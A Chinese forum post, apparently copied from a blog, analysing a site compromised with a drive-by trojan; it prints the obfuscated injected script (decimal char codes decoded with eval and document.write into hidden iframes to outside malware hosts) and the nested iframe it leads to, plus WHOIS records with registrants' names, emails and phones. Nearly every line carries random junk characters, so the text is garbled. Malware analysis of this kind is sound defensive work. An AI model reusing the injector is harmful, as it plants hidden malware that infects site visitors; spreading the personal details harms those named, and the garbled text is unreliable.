[原创]一篇刚写的分析木马手记

首发在我的博客里面， >
oN Wf  
%Eugy  
http://www.areway.cn/?p=175 r7#.DJnN.  
W56VA>ia  
>l #D9%  
周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码： "[rz*[o8I  
          &grvlK  
<script>t=’60,105,102,114,97,109,101, E,dUO;  
32,115,114,99,61,104,116,116,112,58,47,47, R! n7g8I%  
102,114,101,101,46,117,45,117,117,117,46,99, 89j:YfA=v  
110,47,101,114,114,111,114,46,104,116,109, Q3Z?Z;2aR  
32,119,105,100,116,104,61,49,48,48,32,104, N]14~r=  
101,105,103,104,116,61,48,62,60,47,105,102, N`{6<Z0  
114,97,109,101,62′; ZNl1e'  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Vc6 >i|"-O  
                                                                                                  +*Fe   
<script>t=’60,105,102,114,97,109,101,32,115, D>^g2!b:  
114,99,61,104,116,116,112,58,47,47,102,114, lD->1=z  
101,101,46,117,45,117,117,117,46,99,110,47, H!6+x*P
0  
101,114,114,111,114,46,104,116,109,32,119, (sI`FW_  
105,100,116,104,61,49,48,48,32,104,101,105, cq5^7.  
103,104,116,61,48,62,60,47,105,102,114,97, yJ`{\7Uqg  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); y>:U&P^  
document.write(t);</script> ^O=G%de  
                                                                                                 
cs_  
<html xmlns=” M6 8foeeN  
http://www.w3.org/1999/xhtml 7<=p*  
“> `Kn+d~S4  
<head> "',;pGg|K  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 7KGb2V<t  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ]
jPP]Z:y  
<title>首页 - 爱生活家庭网 eh>FYx( S  
                                                                                                                                                    0~+*$W  
上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。 B'mUDW8\D  
转换字符串后的大概内容是（谁点击后果自付）： Q^=0p0  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 6nJQPa  
                                                                                                                                  *YX5bpR?  
查询玉米u-uuu.cn的详细信息： #z70:-`.[M  
Domain Name: u-uuu.cn u.G aMl4 (  
ROID: 20070901s10001s64972306-cn FhPCFmmUT  
Domain Status: ok p-lFzNPc0  
Registrant Organization: 王雷 WMW=RgiW\  
Registrant Name: 王雷 '/9q7?[E!  
Administrative Email: czlovexs@126.com ;;m;f^]}  
Sponsoring Registrar: 北京万网志成科技有限公司 "'GhE+>Z  
Name Server:ns.yovole.com G;J)[y  
Name Server:ns1.yovole.com rC]k'p2x  
Registration Date: 2007-09-01 17:54 QhLgFu  
Expiration Date: 2008-09-01 17:54 ,t;US.s([.  
最后PING了一下地址 都没有什么…. DajN1}]  
                                                                                                -/0aGqY  
上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套. n(|n=P:o  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ZR-64G=L,  
<script language=”javascript” src=” 4.uaWM)2  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 3Agyp89}Q  
> %C@p4  
这个玉米应该有可能是木马作者的： y"s
s<`Cn  
foafau.info的详细信息： KT*>OYI  
Access to INFO WHOIS information is provided to assist persons in eE=2~ ylU  
determining the contents of a domain name registration record in the >4-9 @i0FV  
Afilias registry database. The data in this record is provided by @/ nGc9h  
Afilias Limited for informational purposes only, and Afilias does not : 2$*'{mM  
guarantee its accuracy.  This service is intended only for query-based 9[W >`JKo  
access. You agree that you will use this data only for lawful purposes *W^a<Zm8>  
and that, under no circumstances will you use this data to: (a) allow, gHkHAOe/  
enable, or otherwise support the transmission by e-mail, telephone, or ?Bl/bY$*h  
facsimile of mass unsolicited, commercial advertising or solicitations H'7s`^- >I  
to entities other than the data recipient’s own existing customers; or ()w;~$J  
(b) enable high volume, automated, electronic processes that send `S5::U6E  
queries or data to the systems of Registry Operator, a Registrar, or {]Cn@.TPD  
Afilias except as reasonably necessary to register domain names or Vp0_R9oQ  
modify existing registrations. All rights reserved. Afilias reserves }~NXiUe  
the right to modify these terms at any time. By submitting this query, ^nN
pT!o  
you agree to abide by this policy. CEBG9[|  
Domain ID:D22418703-LRMS `m8WLj  
Domain Name:FOAFAU.INFO Pa+_{9  
Created On:20-Nov-2007 16:05:42 UTC l(-"rE  
Last Updated On:20-Nov-2007 16:05:44 UTC v`jHd*&6)  
Expiration Date:20-Nov-2008 16:05:42 UTC GQJ4d-w  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) D^V)$ME  
Status:CLIENT DELETE PROHIBITED '-J<ib t  
Status:CLIENT RENEW PROHIBITED r:g
_mMvB  
Status:CLIENT TRANSFER PROHIBITED zUNUH^Il  
Status:CLIENT UPDATE PROHIBITED _h1eW9q  
Status:TRANSFER PROHIBITED ZBFn  
Registrant ID:GODA-040110615 km][QEX
s%  
Registrant Name:liu hong >}Bcv%zZ  
Registrant Organization: Y)$%-'=b+  
Registrant Street1:beijing Q$ Dx:  
Registrant Street2: E/wxX#]\  
Registrant Street3: FC6~V6R  
Registrant City:beijing XJKns
  
Registrant State/Province: NI.ROk1{+4  
Registrant Postal Code:100000 JZ*.;}"
 
Registrant Country:CN dLF*'JjY  
Registrant Phone:+86.860108888777 sWMln:=  
Registrant Phone Ext.: PB.'huu  
Registrant FAX: fH?A.JP=a  
Registrant FAX Ext.: HB$?}V  
Registrant Email:bbbshiji@163.com 12hD*,A5j  
Admin ID:GODA-240110615 XGbpH<
 
Admin Name:liu hong 'Ha> >2M  
Admin Organization: oyY z3X  
Admin Street1:beijing INp:;  
Admin Street2: `4X.UPJ  
Admin Street3: 5*-RIs! 2  
Admin City:beijing m"n" 1;o=  
Admin State/Province: 4[JF.O6}  
Admin Postal Code:100000 Ycq )$7p  
Admin Country:CN 98O]tL+k/u  
Admin Phone:+86.860108888777 GCiG50Z=  
Admin Phone Ext.: u*W! !(P/  
Admin FAX: zJl;|E".  
Admin FAX Ext.: ,EVPnH[F~  
Admin Email:bbbshiji@163.com `-{? !  
Billing ID:GODA-340110615 :dRC$?f4  
Billing Name:liu hong `Mbs6AJ  
Billing Organization: ($/l_F  
Billing Street1:beijing sQ^t8Y9  
Billing Street2: XEagN:  
Billing Street3: x-ue1  
Billing City:beijing jpS$5Ct  
Billing State/Province: ]];pWlo!  
Billing Postal Code:100000 {:VK}w  
Billing Country:CN JC-> eY"O2  
Billing Phone:+86.860108888777 d=8.cQL:E  
Billing Phone Ext.:  :TR:tf  
Billing FAX:  qsXkm4  
Billing FAX Ext.: <_Z.fdUA  
Billing Email:bbbshiji@163.com ={ -kQq  
Tech ID:GODA-140110615 44B D2`nF  
Tech Name:liu hong 0bc>yZ\R  
Tech Organization: v_pe=LC{-e  
Tech Street1:beijing /]j
{P4  
Tech Street2: #1\`!7TO3  
Tech Street3: :4Nv6X61  
Tech City:beijing L(u@%.S  
Tech State/Province: IGVq`Mxj  
Tech Postal Code:100000 1cMLl6Bp>  
Tech Country:CN
=EM<LjO  
Tech Phone:+86.860108888777 5@ td0  
Tech Phone Ext.: :t9![y[=
|  
Tech FAX: t']/2m.&p  
Tech FAX Ext.: %t!r pyD  
Tech Email:bbbshiji@163.com (Fuu V{x|  
Name Server:NS27.DOMAINCONTROL.COM WAR!#E#J7  
Name Server:NS28.DOMAINCONTROL.COM $'_Q@ZBq  
Name Server: *i#N50k*j'  
Name Server: p-)@#hE  
Name Server: pX*E(Q)@!  
Name Server: 3D!7,@&>3  
Name Server: $ta JVVF  
Name Server: 4&%H;Q  
Name Server: \}u/0UF97  
Name Server: (Cq 38~mR  
Name Server: p{W Amly  
Name Server: yufw}Lo-  
Name Server: +J;b3UE#  
                                                                                                          +;,J0,Yn  
接着下载每个文件里面的代码： WQ.{Ag?1  
一步一步看.. t?)]xS)  

;-Os~81o?  
);}M"W8  
=54D#,[B  
@lWNSf  
KnA BFH  
都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试

看过了就是没看懂。。。

要是有全部 就好了 传上来